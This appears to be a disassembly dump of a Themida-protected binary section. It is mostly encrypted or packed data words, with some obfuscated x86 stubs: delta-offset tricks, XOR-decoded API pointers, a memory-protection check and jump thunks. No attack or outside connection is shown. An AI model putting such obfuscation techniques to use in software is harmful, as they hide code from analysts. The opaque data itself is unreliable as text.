		dd 0D9163F90h, 0C8A29837h, 0BC299D3Eh, 0C809DA48h, 0B0629CCAh
		dd 7045F171h, 4C3F5EA1h, 0FBBAE5B8h, 0A1708A27h, 235AEF5Eh
		dd 4C3EBEFEh, 8249E8BAh, 0E6A9977Eh, 6A033996h,	83C4FD9Eh
		dd 0A172CB63h, 9C1F865Eh, 0A152E742h, 20D4875Eh, 2D5F2F72h
		dd 395E78DBh, 275CC77Fh, 0FFFFFF43h, 4DB9D208h,	0C6215A28h
		dd 6C806397h, 40817566h, 9076DB05h, 38FB532Ch, 7A8CFED4h
		dd 9F3757A8h, 0DA5EA1B8h, 7480FB4Bh, 2C636DA6h,	840BCB05h
		dd 7983FFF3h, 9BFB04A5h, 5EA1B873h, 9624E73Eh, 4EE811E5h
		dd 5CC75528h, 34CAB03Eh, 50A6D066h, 46D92EF1h, 66000000h
		dd 81BEFCE5h, 0FDBB1B61h, 0D57BAA5Bh, 57D71B2h,	548A2FFFh
		dd 0A7F3C538h, 46B2A75h, 8C03F34Ch, 0E51A5881h,	601AFFE9h
		dd 0C2A50496h, 0B14ED150h, 0FA046270h, 0D8068928h, 0A2AF8092h
		dd 54678023h, 3Fh, 0BEFCE55Dh, 0BB1B6181h, 7BAA5BFDh, 7C6D20D5h
		dd 51ACDBF4h, 0DFCFDB78h, 0E8D0CA6h, 0A953C7E1h, 9D272C84h
		dd 0F31AD17Dh, 0A2059CA7h, 9EDC3EC3h, 27A2AF5Fh, 0E01440A2h
		dd 3E61AC04h, 0D267BA5Fh, 5BF313B9h, 165EA1FEh,	9F132C8Fh
		dd 2B8E1CE0h, 33A4FA68h, 0FAE7A6C7h, 8089FDCh, 0FB5A826Dh
		dd 6BD52446h, 79E5BF9h,	87C56D97h, 0DB7FA7F9h, 8BFC1AF4h
		dd 3CE2561Fh, 4F000000h, 44DB649Fh, 96B8A14Ch, 35779017h
		dd 982FEA0Ch, 0B1F05BF9h, 41A1E2FDh, 0A7F9B315h, 0A07EC160h
		dd 0A7F9B370h, 287289CAh, 81919F46h, 0FAD5A766h, 1F89F214h
		dd 0DCFC56h, 9F450000h,	728F7913h, 0A1FEE410h, 0AF6EB15Eh
		dd 0A4C66C1Fh, 5EA1FE08h, 0C67BDA45h, 0BA689EC8h, 20837F64h
		dd 0C3BF0D61h, 0A4D76539h, 7BDA2643h, 966215ABh, 0F90EEDF5h
		dd 8FF85EA1h, 288B7F68h, 33037A8Bh, 8ABF8440h, 7D81FE4Ch
		dd 358908A9h, 61E4B642h, 0E5053A78h, 0A405F418h, 6EE14CB7h
		dd 0DB6F0832h, 0E4E4331Ch, 0E915042h, 9F690393h, 0F31C9F3Ch
		dd 434F90B1h, 736AD824h, 13921787h, 0AF33B0CFh,	9DA2FDA2h
		dd 0F2936911h, 0BC1EE49Ch, 3F8F63CAh, 0EA078E1Ch, 30000001h
		dd 0A115B64Ch, 2E9CC137h, 5A284DB1h, 0DCB2D32Fh, 9E3D5EA4h
		dd 46BC24D6h, 0D52B5125h, 5FABC2B0h, 0EB1F483Eh, 1575BACAh
		dd 580C24F9h, 0D2447BB4h, 0DA2E5FB6h, 6506E948h, 0D8816611h
		dd 50337624h, 139FFC33h, 1AB2D476h, 575EA1FEh, 78B96DCCh
		dd 0CA809DFDh, 0F8BB1448h, 93C5947Dh, 9170B165h, 0F48B0E70h
		dd 69945BF9h, 8686D731h, 24F6594Dh, 0F67156FAh,	632CECA7h
		dd 1E9E6B8Dh, 0E87356h,	0D2DC0000h, 0EE9F13B9h,	0FEA8C41Ah
		dd 9DCA5EA1h, 0B16CCD61h, 7C728F6Eh, 0A539F806h, 1D916B17h
		dd 0A1F904E3h, 0B627AB5Eh, 8A51D042h, 0C016E181h, 0C27033E2h
		dd 2EA45DA9h, 0AFCC4FB3h, 0C654A0DBh, 27D89A47h, 59FFEC7h
		dd 0E4A2D9A4h, 1DD87367h, 0E639A467h, 519C6C5h,	0F6F949E5h
		dd 0A3C304A7h, 0A7F6F90Bh, 8E7CDF46h, 0B54A2DD1h, 0F9FA1274h
		dd 6CB7A7F6h, 2A3254ADh, 87A2AF73h, 0F3EFE31Ch,	83FAF809h
		dd 0E3D7B477h, 0D5997D87h, 0F33F8FBDh, 0D3EC61h, 0BB2B0000h
		dd 3CAE1C41h, 0AED5A9CAh, 245D3152h, 9BC7BBD8h,	0D5993C61h
		dd 2647BD25h, 0B7D42A50h, 3D5EAAC3h, 0C9EA1E49h, 0FA1274BBh
		dd 0B7580C25h, 0B6D2477Ah, 205B2F4Ch, 0B76799C7h, 2D6E9372h
		dd 0A1FEA1CDh, 9AD1EC5Eh, 0E8932922h, 6711E544h, 1D9C1D91h
		dd 139FA978h, 0B80A8D77h, 0D56B3BCFh, 25A956A2h, 7F8144B0h
		dd 4CAEF421h, 0C5B9DA5Dh, 3C456692h, 0BC3507C1h, 6E31D8E2h
		dd 0A25FABDCh, 0F4D50161h, 1A05EA1h, 0A8D32CBEh, 2B7790E4h
		dd 8959D892h, 58BC6ECBh, 4436BC43h, 0FE41E0B2h,	403B018Eh
		dd 0C8A317B4h, 19956E3Ch, 0A519986Ch, 0D07C9E3Ch, 9D9B301Eh
		dd 0C0F3A302h, 0EAE89F30h, 159406F0h, 43B72092h, 0CF3BAC22h
		dd 3F65Fh, 0E0FF0000h, 48B2D2F1h, 0E71344DAh, 0F4E137h
		dd 98661C92h, 36CCB40Ah, 50AAD664h, 0E9154CC2h,	4F8E735h
		dd 0A0560096h, 26814F2h, 54000037h, 8124048Fh, 42404h
		dd 2D680000h, 89000024h, 2268243Ch, 89000079h, 6851241Ch
		dd 6D1F38CDh, 0D9BA5259h, 29667171h, 0CF895AD1h, 1C8B5459h
		dd 4C48324h, 8B850h, 0D8010000h, 89FA8952h, 0FF585A10h
		dd 815B2434h, 4C4h, 2434FF00h, 4C4815Fh, 0E9000000h, 0FFFB68F8h
		dd 0B862A25Eh, 6ADDCF1h, 0E0FFC503h, 165AC56Dh,	2C8FBFDFh
		dd 0D875523h, 3358C604h, 12C1FB3Eh, 6B853D0Eh, 73F510B3h
		dd 604E2F5Dh, 4F98D7E7h, 7D8E109Eh, 4F34C192h, 7D4D8728h
		dd 4519A415h, 46270A52h, 53AA29C6h, 48ACAB60h, 233DB6EFh
		dd 1A74C066h, 2A9AB00h,	7BB75168h, 11225B2Ah, 448C3D4Ah
		dd 6E246FB8h, 52717415h, 107C7A22h, 65A5C798h, 497CB0B1h
		dd 2F472DEh, 553C4053h,	25185A08h, 6E097120h, 0CDEAF36h
		dd 0BE8h, 91323A00h, 7F2F957Ch,	982142E8h, 54E8E881h, 0E85E266Ch
		dd 0Fh,	0D4A2D0B0h, 0E669CC6Eh,	49008DD8h, 0F8546AEh, 288h
		dd 5B5F5700h, 6599C681h, 0BB660000h, 0D22B35B9h, 0F3234FFh
		dd 68Eh, 0E9F08100h, 59190762h,	0B9AAC781h, 0C1817C46h
		dd 660890A0h, 81C78B66h, 20DEC7E9h, 0D7F1810Dh,	0F6C80F9h
		dd 68Ch, 0E4EF8100h, 8900C7CBh
		dd 0F6BF160Ch, 8A643384h, 1EA83DEh, 0BA61B866h,	814A4A4Ah
		dd 0DC0160D7h, 28FA812Ah, 0FFFFF9Bh, 1585h, 0EAE88100h
		dd 0E96485C7h, 22h, 1D2181A7h, 0CAAD6F64h, 0BF0F66DFh
		dd 0FF86E9F9h, 0C1CBFFFFh, 58328B05h, 7F37F006h, 52800720h
		dd 24EB4BC3h, 9	dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5A799E
; ---------------------------------------------------------------------------
		mov	[ebp+6ADDEABh],	esi
		mov	eax, [ebp+6A8339Dh]
		mov	eax, [ebp+6A82185h]
		lea	esi, [ebp+6ADDEF5h]
		lea	eax, [ebp+6AB3B9Bh]
		call	eax
		retn
; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6ADDEFBh
		cmp	dword ptr [ebp+6A8339Dh], 1
		jnz	loc_5A7948
		push	dword ptr [ebp+6ADDEABh]
		mov	eax, [ebp+6A82185h]
		xor	eax, 34812736h
		call	eax
		cmp	al, 1
		jnz	loc_5A7941
		mov	eax, 1
		jmp	loc_5A7988
; ---------------------------------------------------------------------------


loc_5A7941:				; CODE XREF: Themida_:005A7931j
		xor	eax, eax
		jmp	loc_5A7988
; ---------------------------------------------------------------------------


loc_5A7948:				; CODE XREF: Themida_:005A7916j
		push	1Ch
		lea	esi, [ebp+6ADDEAFh]
		push	esi
		push	dword ptr [ebp+6ADDEABh]
		mov	eax, [ebp+6A82185h]
		xor	eax, 34812736h
		call	eax
		add	esp, 0Ch
		lea	esi, [ebp+6ADDEAFh]
		mov	eax, [esi+14h]
		and	eax, 4
		cmp	eax, 4
		jz	loc_5A7983
		xor	eax, eax
		jmp	loc_5A7988
; ---------------------------------------------------------------------------


loc_5A7983:				; CODE XREF: Themida_:005A7976j
		mov	eax, 1


loc_5A7988:				; CODE XREF: Themida_:005A793Cj
					; Themida_:005A7943j ...
		cmp	dword ptr [ebp+6A8339Dh], 1
		jnz	loc_5A799C
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5A799E
; ---------------------------------------------------------------------------


loc_5A799C:				; CODE XREF: Themida_:005A798Fj
		pop	ebp
		iret
; ---------------------------------------------------------------------------


loc_5A799E:				; CODE XREF: Themida_:005A78DCj
					; Themida_:005A7997j
		lea	eax, [ebp+6ADDED4h]
		mov	[ebp+6A81619h],	eax
		jmp	loc_5A7A6A
; ---------------------------------------------------------------------------
		db 0B0h
		dd 945F9AA7h, 5000000h,	1000000h, 28000000h, 200000Ah
		dd 29h dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A7A6A:				; CODE XREF: Themida_:005A79AAj
		jmp	loc_5A8553
; ---------------------------------------------------------------------------
		push	6ADE205h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6ADE312h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6ADE402h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6ADE458h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6ADE59Dh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6ADE602h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6ADE8EDh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6ADE9B5h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		db 4Dh
		dd 7C27632Ah, 0AB1492D7h, 0DD46C48Dh, 0DB6F4B1h, 1EE5216Ch
		dd 0DB96B75Bh, 0F42E44Fh, 3D7418BBh, 6E2746E9h,	6C9E4CD8h
		dd 0B605B72Ch, 0FF6BD016h, 1788155Ch, 0DD10DC74h, 5BF5BC4Eh
		dd 31632462h, 0C32A5C8Ah, 81B60016h, 0C5C10996h, 0E1B60016h
		dd 0BDA9A90Ah, 58147792h, 47h, 0EFB5E7E3h, 24E0AA72h, 2CDAB3B6h
		dd 65839Ah, 0FE1365B6h,	5C427CDFh, 8B33EC30h, 0A18B1273h
		dd 61C7C305h, 92BDB600h, 0AB5FF806h, 44E42548h,	2784140Dh
		dd 61DF27h, 8F10FBB6h, 775D9783h, 0F07614h, 0FFC90000h
		dd 0EF1155Ch, 0A1FA276Eh, 75030529h, 82166087h,	54B3C521h
		dd 6F3902A5h, 0AECF50D8h, 46E5BEE3h, 6201A20Fh,	3751FF2Bh
		dd 0AF587DF3h, 7C782B0h, 0C4068C2Ch, 0AF58823Bh, 5E41C568h
		dd 0FA33703Dh, 5881D8D0h, 0A881AAAFh, 0DB92B112h, 0DC67D556h
		dd 731F802Eh, 78B0E936h, 895BEEh, 0B9C329B6h, 0B6008981h
		dd 0CBFFE843h, 9C81DE81h, 0F4243095h, 0A41FBD0Eh, 8B2D806h
		dd 0B600BD10h, 9DF59F2h, 0BCAB5EB9h, 4E0B288Bh,	5F2A6E98h
		dd 3F18BCABh, 1E3FA046h, 0AF25B753h, 0A3ECAFE8h, 0FCA72D8Bh
		dd 0F0F2165Bh, 20EC7F2Fh, 8890283h, 5FFA0000h, 22F9016h
		dd 3860C347h, 0E48A3571h, 99BA65A1h, 0A8C956D4h, 684C96Ah
		dd 6AB0FD9Dh, 0A4E2ABC9h, 951158FBh, 79B1CB11h,	4BB605B9h
		dd 59BA260Dh, 0FA337035h, 1D50F1BEh, 4E072689h,	0B5E7D3F8h
		dd 53ABE286h, 749C71DEh, 0FC2A0323h, 0F8334Ah, 0CBA335B6h
		dd 90C08B6Dh, 1C37D95Fh, 2D6805EEh, 0D6DE188Bh,	0CDB6015Ch
		dd 0E8B9E6AFh, 0EEA40940h, 3F61F0B1h, 5B81CB54h, 15CE921h
		dd 3870DBB6h, 7650807Ch, 0C2644F14h, 367F1E8Fh,	0DA78B0E9h
		dd 0B7h, 3959BA6Dh, 0BAFE2F74h,	0F19756F5h, 0C1227BB8h
		dd 5445EAA3h, 0C2644F7Bh, 0AF09228Fh, 8FC2633Ch, 0DB57D822h
		dd 0A609AF57h, 0C36CCC89h, 0B75DE9A0h, 3A672A4Ch, 45E8B7E1h
		dd 0B6E6A70Ch, 1CAFD90Dh, 0E6B5FFE3h, 0EA5F994Dh, 325E68B5h
		dd 76D1BBFDh, 3F497DC6h, 0BCAB5992h, 0C023C770h, 0A234D29Fh
		dd 0A8AD55ADh, 1BE13758h, 2EDA97B8h, 0EC7EE49Eh, 7C40C1E2h
		dd 0ED000007h, 1C87034Ah, 4BF43277h, 7D26642Dh,	0AD1694D1h
		dd 0FE45C18Ch, 7B3657BBh, 0AFE2842Fh, 0DD94B81Bh, 0E47E649h
		dd 8C3E2CB8h, 0B605BA8Ch, 0FF0B3076h, 2C97135Eh, 1CFA4009h
		dd 55DA9FB3h, 0FFCFD444h, 5288155Ch, 179CD171h,	6E0D9206h
		dd 5E498327h, 82F41C2Fh, 0CF028F62h, 8E672AD8h,	0B5E7A02Ah
		dd 0CAED80Eh, 0F6B606A3h, 0F903A95Dh, 0B606A2C1h, 485EA883h
		dd 0C49E36DBh, 8E71FB3Dh, 0E660A6EFh, 0B6062A32h, 297DC869h
		dd 0C6769978h, 0CC3F497Dh, 0B6BCAE3Fh, 0E786699Dh, 802801AEh
		dd 3767EE18h, 0F0245077h, 0BE6D9F4Bh, 84571F46h, 94D17D66h
		dd 0B4F41E0Fh, 8E571F46h, 0FB67CCA5h, 46EF2B5Dh, 0F2D5571Fh
		dd 84951A53h, 1ABA0DABh, 68410429h, 0B07D08B2h,	0EC475DCAh
		dd 0FFB6D53Eh, 0A46508ABh, 33D5CE83h, 4B5FC9A3h, 8C4D36F5h
		dd 0FD000006h, 2C97135Ah, 5BC44207h, 8D36743Dh,	0BD66A4E1h
		dd 0CE55D19Ch, 8BC667ABh, 0BFF2943Fh, 0EDA4C86Bh, 1E57F659h
		dd 0BCCE1C88h, 0B605BB7Ch, 0E71B0046h, 0AED80EB5h, 0B605B70Ch
		dd 0FEB7D5F6h, 51FEE105h, 2D9614h, 2447D845h, 0C315BB6Dh
		dd 189BF324h, 636A7h, 0C980A700h, 0F8BDD27Dh, 2E6701A2h
		dd 5E1B3798h, 8BC667C8h, 1101B03Fh, 46E93D70h, 72DD6924h
		dd 0A40F9BD2h, 0EA72C881h, 0BAD2D670h, 6AB0B605h, 0EB5E7CDh
		dd 0B70CAED8h, 0B4D2B605h, 5B63264Bh, 0B605B75Fh, 0B6C3C701h
		dd 9681B605h, 93BDFB54h, 82A102B8h, 6BCC7FCBh, 0A4902AD0h
		dd 9EB605B7h, 51EB11B5h, 0B605B859h, 3BA8002Bh,	5B7F433h
		dd 7A3B90B6h, 0E0ADCD36h, 33F0EC48h, 0D43F1472h, 0EE8EFFB2h
		dd 0F7217AA7h, 6445h, 0B6E7DE00h, 71ADDF0Bh, 77AF57D7h
		dd 42AE78Ch, 0D2CBDC41h, 169BD271h, 236D9305h, 1D1F175Fh
		dd 58113418h, 0F0E9C2DBh, 0D56BABB3h, 0AC07AF58h, 903FB903h
		dd 0CC85A7A1h, 6786D832h, 42896531h, 5B4412DFh,	0FB2C7138h
		dd 179FBDh, 7E610000h, 1A1390DDh, 0A8DF959Eh, 3B000001h
		dd 0C5DE95B1h, 298FD8F0h, 0F1220102h, 0A4C2F843h, 57D72662h
		dd 0E5331CAFh, 0EC9ECD7Fh, 0CB64B5FFh, 274CB75Dh, 4E303662h
		dd 4D65AA9Bh, 14B654EFh, 6C52AAA5h, 0AE6FB49Fh,	0F711B50Eh
		dd 72FE1420h, 464284E2h, 3C72FE14h, 238C3A13h, 52FD4900h
		dd 1C4E7A33h, 0A4362C66h, 4F1BE07h, 0C7620000h,	0FA97388Eh
		dd 0A0C86BBFh, 5CF25DE9h, 1228D19h, 4071FE4Ch, 0AEFCB1D2h
		dd 92286505h, 0CC5A1331h, 3D89C063h, 1109B3A9h,	0F3B605BCh
		dd 5CFF8EB5h, 71528815h, 21B98DDh, 6FC98CA1h, 1BCF74D8h
		dd 0FFF8A6E1h, 77B39CB5h, 5FBE4F89h, 620E4BBCh,	5938CC1h
		dd 16B2FB9Ah, 0F32A9B5Eh, 8CD0B172h, 0FD000004h, 2C97135Ah
		dd 5BC44207h, 8D36743Dh, 0BD66A4E1h, 0CE55D19Ch, 8BC667ABh
		dd 0BFF2943Fh, 0EDA4C86Bh, 1E57F659h, 0BCCE1C88h, 0B605BD7Ch
		dd 0FF1B0046h, 1788155Ch, 31F03D74h, 71141B84h,	0DE04E238h
		dd 57D76CACh, 0BBFD56AFh, 0DFD203FFh, 5EEA12h, 0E73D0000h
		dd 0F7D80EB5h, 0BAF7975Ah, 21AA5CC1h, 9AE5514Ch, 0D71D9B74h
		dd 7F06B5h, 0BBDBFCB6h,	0B891DC7Eh, 0E449227Bh,	7F2262h
		dd 0AAE381B6h, 0B6FB9C05h, 64CDE669h, 3FE04BD5h, 75B5D77Dh
		dd 4FB6007Fh, 8484C6E4h, 7EB6007Fh, 0FBD743D5h,	2A14777Eh
		dd 0BEE3AAC9h, 3409CB6Dh, 12000000h, 0D80EB5E7h, 2715AEh
		dd 0A644EFB6h, 0BBDD103Dh, 278D8D3Fh, 0DC77B600h, 4ABC0AE3h
		dd 0B600274Bh, 2E7C3558h, 0ADE885h, 3AEBFh, 0D7785B00h
		dd 0BA151E9Ah, 22913559h, 2F9450EFh, 0B4E54A23h, 0CA71A364h
		dd 0D7A7EA1Ch, 7F9DB600h, 0D7CDCDh, 393BBFB6h, 5723C83Bh
		dd 294BBC97h, 792A7760h, 0A70E93DAh, 0DE7E6D36h, 0E5E67584h
		dd 8AFBAE5Ch, 2C7DA2EBh, 2E759733h, 14BCA959h, 0D473A6DAh
		dd 0B2ABD20Ch, 0E1A8CB74h, 0E259FBBCh, 309782C4h, 0C26DC351h
		dd 70319A5Dh, 0E8A1C32Ch, 53F1524Bh, 72119E1Ah,	0F85CEF3Bh
		dd 0E055A743h, 0B9F59E88h, 32FB3F49h, 6EC9C351h, 8F392375h
		dd 0C9F966F0h, 6B3479D2h, 0FE3A4CC8h, 0C4C9F966h, 2E54726Bh
		dd 0F9679C9Ch, 294566C9h, 7012736Ch, 71A7F03Dh,	0BD664F92h
		dd 246D10F3h, 3A8133F4h, 9AA37A8Ch, 0B661D0A1h,	9298A70h
		dd 6ACEDF44h, 42EFA6C5h, 0A00D40E1h, 0D0D758CDh, 0E5A6E4ADh
		dd 0ACDE0CB7h, 0D749AF7Dh, 0D53EEC47h, 79B2FFB6h, 0B0D34C3Fh
		dd 392E3918h, 413A099Bh, 0EFB01DDCh, 0C3E75CF0h, 0F0F992B9h
		dd 224F70DDh, 97388E67h, 0EA70BDF4h, 8BCE634Ch,	0F0F94743h
		dd 86123DDDh, 0F7337A19h, 0AF5BE054h, 9917F21Dh, 4CEFD0E4h
		dd 15FE2C05h, 6AF03D78h, 9917D8D0h, 0A881AAE4h,	0D75C1537h
		dd 75F152C6h, 187DBDCFh, 0EC47E499h, 187ABA4Ch,	0BD16E499h
		dd 2647A8F4h, 43D5C66Bh, 9E93FBD7h, 2E0227h, 0E7250000h
		dd 0EDAAEFB5h, 123F83A8h, 2228D39h, 63B5E64Bh, 0DC304FF9h
		dd 3912B600h, 0DC3272F4h, 0E54EB600h, 0D3423E3Ch, 0B0A51476h
		dd 7E000000h, 88155CFFh, 0F63B7617h, 7099EE68h,	0AE1C0FD9h
		dd 0CF86A50Ah, 0EBA2C162h, 3377913Fh, 11AF58D1h, 0FE08F226h
		dd 0AF58D531h, 3557D372h, 0AF58D4F5h, 3F8B64CFh, 7BB8F194h
		dd 0DB902B2h
		dd 0E490FBh, 4DD972B6h,	1D005AFAh, 48275D0Dh, 8329DDB6h
		dd 0ED327F20h, 0BDEA7CBCh, 0A3BCAC46h, 0C7511840h, 7E81E39h
		dd 349F2B66h, 0F4AA5E13h, 94EC7E32h, 1A1AE17h, 77120000h
		dd 2A47E83Eh, 0D078DB6Fh, 8CA20D99h, 0B1D27DC9h, 9021AEFCh
		dd 1EACE182h, 42D895B5h, 0BC0A43E1h, 0ED397013h, 6159E379h
		dd 23B605BFh, 5EFF3EE5h, 92C9713h, 0E7DDFA40h, 0AED80EB5h
		dd 0B600054Fh, 55951A35h, 0B6000551h, 690CF76Dh, 0BC92BEC1h
		dd 4A23AE94h, 0AEAC75EEh, 1477BEB2h, 0B355h, 5CFFEE00h
		dd 76178815h, 0EE68F63Bh, 5C33EA43h, 0ABBDFB48h, 0AF58A9E6h
		dd 53D79EBDh, 0CDD123B5h, 3F4FA081h, 0B2E6AFCEh, 9A074EEDh
		dd 0E218A311h, 0AE3158h, 7F8937B6h, 0B600AE3Bh,	218ECB68h
		dd 0DB5DF608h, 3B8C1A35h, 42842299h, 0BCAB4CF6h, 5C4763CCh
		dd 8F30763Bh, 3305A3EEh, 7DEC7F2Dh, 0D9C5BEh, 2F4A0000h
		dd 0D27F2066h, 88B01397h, 0B4DA45C1h, 690AB5F1h, 5819E624h
		dd 56D499BAh, 0BA004DEDh, 0F4327B19h, 2561284Bh, 29619B41h
		dd 1BB605C0h, 5EFF76DDh, 1855F5DEh, 57D6BAFEh, 0B6AF88AFh
		dd 0E5ACCF70h, 29619BC1h, 1BAF57D7h, 3512F830h,	88155CFFh
		dd 87DC7417h, 3CD5F700h, 8C3F8B64h, 0C9779328h,	0AA0E47E6h
		dd 690FA5Ch, 45E7C8B6h,	6897F20Ch, 0D14342C7h, 44AFBBF8h
		dd 66C96F22h, 97388EC7h, 0EA70BDF4h, 83206509h,	0ABF80EAAh
		dd 0F80F3DF6h, 0C951A57h, 3CFA276Ah, 1C9F1E87h,	5CFF06AFh
		dd 0F2E9115h, 2A48D946h, 963FC26Fh, 2E67060Dh, 0EDF87298h
		dd 0D6B66D11h, 294CD345h, 0A60B46E8h, 3F721475h, 63C0B9F2h
		dd 32771C87h, 937CBCEDh, 3, 0FFCBB0B6h,	138C1158h, 2BF43970h
		dd 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h, 0A47DA2E7h
		dd 0BF60CD84h, 0FA4AD792h, 5E08950h, 4,	4BE56h,	0F0290000h
		dd 2404875Eh, 0E189515Ch, 4C181h, 0E9810000h, 4, 5C240C87h
		dd 56240C89h, 0C681E689h, 4, 8704EE83h,	895C2434h, 0FCB9243Ch
		dd 51646120h, 592404FFh, 4CF18141h, 6862CCC0h, 3039h, 83242489h
		dd 5F042404h, 34BE5651h, 15C9965h, 5E042474h, 8108478Fh
		dd 6534086Fh, 34FF5C99h, 0C4835F24h, 240C8B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		db 35h,	0E0h
; ---------------------------------------------------------------------------


loc_5A8553:				; CODE XREF: Themida_:loc_5A7A6Aj
		mov	eax, 6ADEAB3h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 1DEEACA4h, 76BEEB4Eh, 63DAF390h, 454240A9h, 0EC0F8D8Dh
		dd 0BD0106ADh, 6A829F5h, 5B98D89h, 6A06A8h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 1F9F28C3h
		dd 146985C7h, 6BC006A8h, 0B5290000h, 6A81DDDh, 0BBD85C7h
		dd 6A8h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 170424h, 55450000h, 0B2E94EC3h, 0C38B66ACh, 1535B5FFh
		dd 850906A8h, 6A82769h,	22718589h, 95FF06A8h, 6A820DDh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 9CC35646h
		dd 0BB337A20h, 8BFB8B66h, 0FF006AC7h, 0A81B3195h, 0EBC08B06h
		dd 621C1Eh, 0CB344314h,	487312C8h, 0BA42C3FBh, 44A22034h
		dd 0AB789176h, 0E54A2930h, 0E8BF506Ch, 12h, 5626025Ch
		dd 4C13B1E7h, 62B365D2h, 4826CC7Dh, 95892254h, 6A80FA1h
		dd 81B58959h, 8106A816h, 6CCCC1h, 0F2BF0F00h, 8B66C033h
		dd 834FFDAh, 0AED8589h,	895F06A8h, 0A80A7195h, 0B9F78106h
		dd 0BB3B8050h, 5CF31FDBh, 0C501EF81h, 8E9034Dh,	0D2000000h
		dd 9FF87342h, 81CE6FEFh, 0DFAD31F7h, 12E918h, 4EF60000h
		dd 0D725D152h, 2C70779Ch, 68FE5045h, 0DF923F08h, 0AE857h
		dd 0DA9A0000h, 5BAF5AA0h, 5F8C9D4Eh, 0AC1958Bh,	8F5A06A8h
		dd 9D8B0104h, 6A83345h,	8E9h, 7A9B3400h, 9148591Ch, 4E8835Ah
		dd 2800Fh, 0D88B0000h, 942CF881h, 850FFFFFh, 16h, 3AE9F9h
		dd 935F0000h, 204F1C50h, 0E24A9477h, 0BF144C7Dh, 0CE9345Ch
		dd 89000000h, 86572D7Ch, 4880DD4Bh, 0E967427Eh,	0FFFFFF45h
		dd 0D9086294h, 4D751E1Eh, 3475BF43h, 0FABA70D5h, 831DE6D4h
		dd 0EDB08D8Dh, 0F28006ADh, 0B98D89B3h, 6A06A805h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0A15C356h, 1CA90BE1h, 8BD7CD56h, 0A81F5DBDh,	6985C706h
		dd 6006A814h, 0E9000063h, 7, 76789658h,	0C7BCEBADh, 0A80BBD85h
		dd 6, 0F0816600h, 0B5FF332Bh, 6A81DA9h,	2C91BD8Bh, 95FF06A8h
		dd 6A820DDh, 0FF5BD29h,	6A06A8h, 1B3195FFh, 0C08B06A8h
		dd 57630CEBh, 43DDB4ECh, 76A0668Fh, 8E880E5h, 6C000000h
		dd 266DC286h, 536AF20Fh, 5A8DEA80h, 81F28B58h, 749FC0h
		dd 12E800h, 40360000h, 0D8494200h, 0DF27AA16h, 58DC79FDh
		dd 0A9896A00h, 0FAB95AF9h, 0B200001Ch, 66188B6Eh, 0F381F98Bh
		dd 7D7BB56Eh, 1A599501h, 0EB8106A8h, 7932DD1Eh,	2CCDBD03h
		dd 0C38106A8h, 13ED605h, 128F0Fh, 6E80000h, 58000000h
		dd 0A096F0BFh, 1D8D8906h, 5F06A830h, 9D291889h,	6A80B01h
		dd 2904E883h, 0A80805B5h, 850F4906h, 1Bh, 2CA98589h, 27E906A8h
		dd 2000000h, 0DAF1B56Bh, 0FCD986D5h, 0D57EE54Ch, 89B87382h
		dd 0A8320D8Dh, 0FF87E906h, 3633FFFFh, 6AC8539Eh, 89CC0E81h
		dd 30E92A6Bh, 90000000h, 64FCE7h, 24300h, 9 dup(0)
		dd 0E9000000h, 0CDBh, 0ADF08068h, 5786E906h, 9E68FFFBh
		dd 0E906ADF1h, 0FFFB577Ch, 0ADF31568h, 5772E906h, 2968FFFBh
		dd 0E906ADF4h, 0FFFB5768h, 0ADF4D968h, 575EE906h, 0E868FFFBh
		dd 0E906ADF6h, 0FFFB5754h, 0ADF79C68h, 574AE906h, 4368FFFBh
		dd 0E906ADF9h, 0FFFB5740h, 0ADFA2268h, 5736E906h, 9FC7FFFBh
		dd 18724065h, 82F9CDEEh, 70695D7Eh, 0EF9BEF8Ch,	0A1D57015h
		dd 5A7B81F9h, 0E3807E64h, 690AFEEFh, 0F5966215h, 0CE6688CFh
		dd 8B580C11h, 0B9D2130Eh, 104BD94Dh, 0FE3C58BAh, 2A565EA1h
		dd 60D24DD0h, 7C218076h, 62F6D039h, 0F52DF10Eh,	0A0C27FDEh
		dd 5BF91C29h, 461B0D78h, 904163A0h, 0EEE70F6Fh,	73B2A7F9h
		dd 20F22DB0h, 0F9EE52FEh, 6728E8A7h, 1F236F89h,	497F56h
		dd 0E5C00000h, 6181BEFCh, 5BF9E258h, 8A4C607h, 45A7F62Ch
		dd 5DC45BDAh, 0B9CF36C9h, 433F0A9Fh, 0A3738DFBh, 0C21C9F7Eh
		dd 0A7F67FAEh, 0FAE7EB14h, 58069406h, 0D2B5F4A6h, 12807660h
		dd 537C0C8Fh, 1E8F9BBDh, 0E08356h, 0D2AC0000h, 4BD94DB9h
		dd 0E331E51Fh, 0CFC37C88h, 7DBC6E92h, 682BD189h, 0C733A4FAh
		dd 0F959BCA6h, 3D485EA1h, 0F6E0F620h, 0C80F9200h, 0C5B9584Ah
		dd 13A3629Eh, 9BEF8C78h, 78614E0h, 76798DAh, 0A406A75Eh
		dd 16E1C239h, 0D45F2336h, 1E1A8911h, 0CE51538Eh, 0EE2FD053h
		dd 0F66E608Ch, 76962DA7h, 1D20CD65h, 8CF1B013h,	2CC6E009h
		dd 0A2709B53h, 5F53EC4Fh, 0EA4FDF21h, 0B0B4D62Bh, 0FDA2AF87h
